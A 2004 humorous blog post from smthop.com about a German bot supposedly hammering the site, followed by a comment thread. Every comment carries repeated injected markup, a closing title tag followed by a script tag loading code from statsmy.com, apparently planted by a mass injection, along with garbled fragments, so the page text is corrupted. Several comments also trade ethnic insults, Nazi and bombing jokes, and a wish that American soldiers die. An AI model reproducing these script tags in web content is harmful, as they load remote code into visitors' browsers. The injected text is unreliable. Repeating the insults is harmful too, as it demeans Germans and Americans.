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Smthop.com In Crisis: We are Under Attack!
by Mark on 11/10/2004 (16)

Gentlemen, start your engines!
1:11 PM

A Germany based server has been hammering our site for the last 24 hours in a neo-fascist attempt to deny service and silence us! Kris and I have moved our smthop.com HQ to an underground bunker in Moline, KS, a former missle silo. We will not be driven from the air!

Woot!

Long live General George Patton!

Rommel sucks!!

(also)

Liederhosen are for girly men!
Sauerkraut is for sour krauts!
Mettwurst tastes like grease paste!
BMW's are not as good as Toyotas!
German beer tastes like moldy underwear!

and so on...


2:40 PM - Counter Attack

Derek "Back to Berlin" Jeter eagerly awaiting flight orders at emergency smthop.com HQ, Moline, Kansas

We have I.D'd the rouge German server and a counter attack is in progress...stay tuned for updates.


Never before has so much been owed by so many to Smooth Operator!
7:46 PM - Crisis Averted

We have successfully disabled the crippling German link, and may (or may have not) slipped a mickey in there somewheres...Let freedom ring! Remember, he who burns books, later burns servers!

How would you burn a server, anyhow?


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Comments

1. by German Server on 3/1/2007 4:52:29 PM
An normal spider bot is not an attack!!!!h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by The owner of that server on 3/1/2007 4:52:29 PM
ok your site was listed in www.1q1.org/top1000.php for that script their runs an bot that reads the title of an website their are more than 350 sites in that list no one has problems maybe you should check your server config or only block access from that ip that was enough. But don't care i hate america and hope irak will win the war and many american idiots will die!!! How voted for bush must have an iq lower than 60..... But don't care i edited the title in the toplist and blocked your site in our bot. Have a nice day regards, H.G from Germany (with the fucking best beer in the world your fucking soldiers how stay in germany also drinks a lot of our German beer) </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Von Motz on 3/1/2007 4:52:29 PM
Thanks, Fritz!isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by herr Von Motz on 3/1/2007 4:52:29 PM
top ten beers that Germans drink 1.Miller MGD 2.Ukranian Pivo 3.Kvass 4.Foster's lager 5.The juice from a can of pickled Vienna sausage"0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by lol on 3/1/2007 4:52:29 PM
top ten and you listen 5 yeah i think you voted for bush??si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by leason1 german on 3/1/2007 4:52:29 PM
Liederhosen are for girly men! Liederhosen should be lederhosen (only in a part of germany what not realy belongs to germany) schweinshund should be schweinehund i think yeah my english is also very poor but i don't want to speak good english. mein fuhrer is Mein Führer You also have einen Führer not called Hitler but Bush But for the one how doesn't know Hitler wasn't an German but an Austrian... You should also know that their are more Nazi's in USA then in Germany. Enough fun for today you have enough problems in your own countryo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Hauptmann Motz on 3/1/2007 4:52:29 PM
In the words of the great American Fuhrer, Al Bundy, "If you want something fixed right, get an ugly guy to do it." Das Woot!isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Gruppe fuhrer Motz on 3/1/2007 4:52:29 PM
Ich habe eine sehr große Wurst in meinen Hosen und ich möchte mit Ihrer Frau zu Abend essen! Hoot!< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Herr leeds on 3/1/2007 4:52:29 PM
Q: How does a German eat mussels A: *KNOCK* *KNOCK* *KNOCK* ... AUFMACHEN !! Q: What is the difference between the Dresden bombing and Germany's best comedian? A: Only the first one can make you smile. Knock Knock Who's there? Gestapo Gestapo who? Ve Vill ask ze Questions!go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Herr Leeds on 3/1/2007 4:52:29 PM
Hitler wasn't an German but an Austrian... we knew that, the point is took control of Ze fatherland and convinced you muppets to fight Russians in the winter.?sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Herr Leeds on 3/1/2007 4:52:29 PM
We shall go on to the end, we shall fight in France, we shall fight on the seas and oceans, we shall fight with growing confidence and growing strength in the air, we shall defend our Smooth Op, whatever the cost may be, we shall fight on the beaches, we shall fight on the landing grounds, we shall fight in the fields and in the streets, we shall fight in the hills; we shall never surrender, and even if, which I do not for a moment believe, this Website or a large part of it were subjugated and starving, then our Empire beyond the seas, armed and guarded by the British Fleet, would carry on the struggle, until, in God's good time, the New World, with all its power and might, steps forth to the rescue and the liberation of the old."isplay:none"></if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Panzerwagen Motz on 3/1/2007 4:52:29 PM
Good show, mate! I owe you 50 rusty WWI destroyers and a handfull of biplanes...lend lease of course! bloody hoot!isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Kris on 3/1/2007 4:52:29 PM
To Owner of that server: We get bots all the time here. No other bot reads the page every 1 to 2 minutes. That is a poorly written bot that is excessively using my bandwidth. The IP has been blocked. Thank you for removing my page. I did not see traffic coming in from your page, just lots of times of my page being loaded from that IP.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Motz on 3/1/2007 4:52:29 PM
Let's put this behind us. There are other lawns to mow.?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Kris on 3/1/2007 4:52:29 PM
What are you smoking Motz? It's fall, there won't be lawns in need of mowing for atleast four monthes!<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by Motz on 3/1/2007 4:52:29 PM
I'm exhausted. You think this little cross-Atlantic ballet was all fun and lemonade!? Lemme alone!< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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